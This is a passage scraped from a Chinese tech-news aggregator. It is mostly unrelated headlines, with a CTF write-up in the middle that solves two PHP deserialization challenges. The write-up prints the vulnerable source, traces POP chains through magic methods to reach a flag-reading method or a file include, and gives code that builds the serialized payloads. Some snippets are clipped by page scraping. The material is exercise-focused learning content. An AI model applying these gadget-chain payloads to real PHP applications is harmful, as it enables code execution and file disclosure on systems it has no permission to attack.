最新要闻
- 院士:抗流感特效药“达菲”原料为八角茴香、附加值提升1100多倍
- 口碑并入高德:这是要和美团、抖音拼了?
- 速递!我国首次实现固态氢能发电并网!密度提高20倍
- 讯息:镗削
- 当前短讯!转注是什么_转注是什么意思
- 快报:北大"韦神"出难题:没想到 初二学生给出标准答案!ChatGPT被难倒
- 当前动态:NVIDIA显卡突然解锁视频编码限制:9年前老卡欢呼雀跃
- 苹果自动驾驶数据曝光:2个月16起车祸
- 最资讯丨青春期教育怎么写_青春期教育资料
- 胖东来回应给员工设超5000元委屈奖:鼓励做正确的事情
- 全球短讯!老人的屋子里怎么总有一股怪怪的味道?小心这四种
- 最资讯丨AMD锐龙7000平台终于要便宜了!砍掉又贵又没用的PCIe 5.0
- 天天速读:漫威超级大反派翻车!《蚁人3》男演员乔纳森梅杰斯被捕:攻击妇女
- 世界新消息丨深圳一立体车库禁停比亚迪 车主:赤裸裸歧视
- 环球头条:NAS容量告急 但没空余硬盘位怎么办?群晖教你换上新硬盘
- 天天视讯!煜邦电力: 关于向不特定对象发行可转换公司债券的审核问询函回复及募集说明书等申请文件更新财务数据的提示性公告
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
【环球新视野】ctf反序列化练题
[SWPUCTF 2021 新生赛]pop
admin === "w44m" && $this->passwd ==="08067"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "nono"; } }}class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; }}class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; }}$w00m = $_GET["w00m"];unserialize($w00m);?>
老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。
然后寻找可以利用的点来获取Flag
class w44m{ private $admin = "aaa"; protected $passwd = "123456"; public function Getflag(){ if($this->admin === "w44m" && $this->passwd ==="08067"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "nono"; } }}
可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。
(相关资料图)
那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。
那我们如何去实现呢?
class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; }}
可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,
我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。
如下:
w00m; }}class w33m{ public $w00m; public $w22m="Getflag"; public function __toString(){ $this->w00m->{$this->w22m}();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法 return 0; }}$a=new w22m;$a->w00m=new w33m;//执行w33m类中的toString方法$a->w00m->w00m=new w44m;//echo urlencode(serialize($a));?>
[NISACTF 2022]popchains
Happy New Year~ MAKE A WISH";if(isset($_GET["wish"])){ @unserialize($_GET["wish"]);}else{ $a=new Road_is_Long; highlight_file(__FILE__);}/***************************pop your 2022*****************************/class Road_is_Long{ public $page; public $string; public function __construct($file="index.php"){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }}class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); }}/**********************Try to See flag.php*****************************/
老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。
然后我们需要看可以获取falg的点,
class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}
可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。
但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。
尾部找到后接着我们就需要找到我们pop链的首部了。
class Road_is_Long{ public $page; public $string; public function __construct($file="index.php"){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }
看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。
因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链
构造思路如下:__wakeup() -> 创建 page 为Road_is_Long 类本身 => __toString -> $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke() -> => append() => include($value); value=/flag
接着我们就可以进行构造了:
string->page; } }class Try_Work_Hard{ protected $var="/flag"; }class Make_a_Change{ public $effort; }$a=new Road_is_Long;$a->page=new Road_is_Long;$a->page->string=new Make_a_Change;$a->page->string->effort=new Try_Work_Hard;echo urlencode(serialize($a));?>
然后将获取的值Get传入即可
关键词:
-
【环球新视野】ctf反序列化练题
[SWPUCTF2021新生赛]pop<?phperror_reporting(0);show_source("index php");classw44m{p
来源: 【环球新视野】ctf反序列化练题
全球新资讯:win32com操作word 第十五 Find接口的使用
院士:抗流感特效药“达菲”原料为八角茴香、附加值提升1100多倍
口碑并入高德:这是要和美团、抖音拼了?
速递!我国首次实现固态氢能发电并网!密度提高20倍
讯息:镗削
当前短讯!转注是什么_转注是什么意思
【Visual Leak Detector】QT 中 VLD 输出解析(三)
快报:北大"韦神"出难题:没想到 初二学生给出标准答案!ChatGPT被难倒
环球关注:MM32 SPIN MCU 电机 FOC 驱动 风机无传感器弦波驱动篇应用笔记
前端设计模式——路由模式
【全球新视野】Mysql 查询指定节点的所有子节点
当前动态:NVIDIA显卡突然解锁视频编码限制:9年前老卡欢呼雀跃
苹果自动驾驶数据曝光:2个月16起车祸
视觉SLAM中的三角化
计算机专业规划
最资讯丨青春期教育怎么写_青春期教育资料
胖东来回应给员工设超5000元委屈奖:鼓励做正确的事情
环球快资讯:PTA OOP第一次总结性作业
快消息!IO多路复用形象举例
新一代Java高性能构建工具Maven-mvnd【实践可行版】
全球短讯!老人的屋子里怎么总有一股怪怪的味道?小心这四种
最资讯丨AMD锐龙7000平台终于要便宜了!砍掉又贵又没用的PCIe 5.0
看热讯:gomock优化diff展示
即时:Xcode的Search Paths配置
天天速读:漫威超级大反派翻车!《蚁人3》男演员乔纳森梅杰斯被捕:攻击妇女
世界新消息丨深圳一立体车库禁停比亚迪 车主:赤裸裸歧视
环球头条:NAS容量告急 但没空余硬盘位怎么办?群晖教你换上新硬盘
天天视讯!煜邦电力: 关于向不特定对象发行可转换公司债券的审核问询函回复及募集说明书等申请文件更新财务数据的提示性公告
热门:JS 做一个简单的 Parser
【全球新视野】SCO音频采集
骁龙7+处理性能加持:Redmi Note 12 Turbo拍照加速50%
李彦宏:百度文心一言和ChatGPT差距也就一两个月
每日消息!虚幻5再次炸场!1部iPhone搞定3A大作级动作捕捉 游戏行业要变天
【全球快播报】高校回应考生因航班延误错过复试:通知合规 可按流程重新参加
天天视点!中国火箭回收新进展:每年可节省十几亿元
快看点丨yolov5训练自己的数据集
环球关注:有监督学习——决策树、集成学习
每日播报!定时任务的路径问题
视焦点讯!支持Win7运行最后版本:U盘软件Rufus 3.22正式发布
女子家中开氛围灯外面看如同着火 引来消防员场面十分尴尬
信息:003至薄套壁 杰士邦避孕套0.66元/枚狂促
世界热讯:永安林业:副董事长辞职
今日快看!简单部署halo博客
微速讯:Qt源码阅读(二) moveToThread
AES之CryptoJS加密与C#解密
环球观速讯丨肝帝玩家!《暗黑破坏神4》公测玩家达成全职业满级
男子高速奇葩操作:头上竟然套了一个“车顶”
热点评!股票除权日在什么时候
【环球新视野】软件测试--详细判断电话号码
前端设计模式——计算属性模式
世界速递!PLG SaaS 案例:如何实践外链自动增长策略?
需求分析报告(软件项目)
每日播报!Android中常见的线程池
环球观焦点:阿什莉动捕演员庆祝《生化危机4:重制版》发售 身穿黑丝超吸睛
今日精选:网络爽文改编 《赘婿》动画定档4月23日B站开播
全球球精选!加拿大旅游团费_加拿大旅游费用
小米顶级自研技术!Redmi Note 12 Turbo用上小米影像大脑
世界观点:.NET6+Quartz实现定时任务
当前观察:logback的使用和原理
【新视野】GPT已长出眼睛耳朵 周鸿祎:人工智能将会产生意识
环球看热讯:状态观测器(一)
看点:苏州天使母基金合作子基金接连完成投资
曹德旺谈人工智能:能做饭吃吗?如果大家都去研究会饿死
当前看点!南方新一轮强降雨将上线!北方大部气温“狂飙” 最高飙到25度
今日观点!12款随便挑 太平鸟印花T恤清仓:到手69元
全球观热点:苹果WWDC 2023日期曝光!iOS 17首秀来了:或不再支持iPhone X/8
广东突降冰雹 多车被砸毁容!保险给赔吗?
事关出生证明、免税购物、高铁新路线!4月一大波新规来了
精选!AMD新一代APU曝光:大小核架构终于上了
动态:我国首次实现固态氢能发电并网,“绿电”与“绿氢”灵活转换
易烊千玺代言!九号电动两轮车国内出货突破150万辆
转型电动化 韩系车在中国还有救吗?
老人故意推倒摩托车案胜诉 老人儿子需赔1.6万!车主回应
全球关注:读Java性能权威指南(第2版)笔记28_线程和同步性能中
速讯:孤芳自赏是哪一期蒙面唱将
【全球热闻】“韩国宾利”能拿下中国人吗?
焦点观察:票房破40亿中国影史第10!《流浪地球2》4月14日上线咪咕视频
焦点快看:叙利亚外交部谴责美国对叙发动敌对行动
使用 Linux dd 命令测试磁盘读写性能
国际短信平台接口调用的方法步骤,简单5步快速教程
全球信息:Java之大数加减乘除——构建类
张译包场张颂文的新电影《不止不休》!猫眼评分9.3分
世界快消息!2026年亚运会将不建设运动员村:为了削减开支
焦点资讯:3年来最盛大红毯叫停:邓超激动得像买票进场 胡歌刘亦菲杨幂同框梦回仙剑
当前速看:国内这些城市地标为地球熄灯一小时:有你认识的吗?
小米OPPO和vivo实现突破性跨越!微信聊天记录能互相迁移了
天天微资讯!武汉一小伙考研出分后失眠多日,医生支招制定减压计划
linux中conda虚拟环境使用(便于项目切换)、pip和conda换源
原来熊猫的笑声这么粗犷吗 网友直呼没想到:公鸭嗓笑的像反派
天天讯息:被马斯克16亿垄断的工艺 卡了下游企业的脖子
天天热点评!女孩穿汉服乘公交:颜值惊艳众人
环球视点!液体钙和钙片哪个更容易吸收(液体钙和钙片哪个更好吸收)
python 使用 kafka
世界观点:《暗黑4》与《暗黑3》角色截图对比:女性角色更逼真了
捐100亿建大学 曹德旺:我赚了很多钱但不贪婪 会还给社会
女子摔跤上牙磕进嘴唇1月后才发现 医生惊叹不已:网友直呼心太大
徕卡+双长焦史无前例!小米13 Ultra曝光
焦点信息:Vue——initState【十】
当前信息:国外短信平台收不到验证码,怎么解决?